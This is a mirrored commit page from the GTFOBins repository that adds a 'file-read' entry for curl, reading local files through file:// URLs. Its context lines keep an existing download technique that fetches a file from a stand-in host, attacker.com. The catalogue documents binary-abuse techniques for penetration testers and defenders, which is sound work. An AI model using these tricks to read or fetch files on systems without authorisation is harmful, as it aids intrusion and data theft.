mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
Add file-read to curl
This commit is contained in:
parent
e3c2d148ca
commit
2514e7d0dd
@ -12,4 +12,9 @@ functions:
|
|||||||
URL=http://attacker.com/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
curl $URL -o $LFILE
|
curl $URL -o $LFILE
|
||||||
|
file-read:
|
||||||
|
- description: Uses the FILE protocol to fetch and display the file. The file path must be absolute.
|
||||||
|
code: |
|
||||||
|
LFILE=/tmp/file_to_read
|
||||||
|
curl file://$LFILE
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user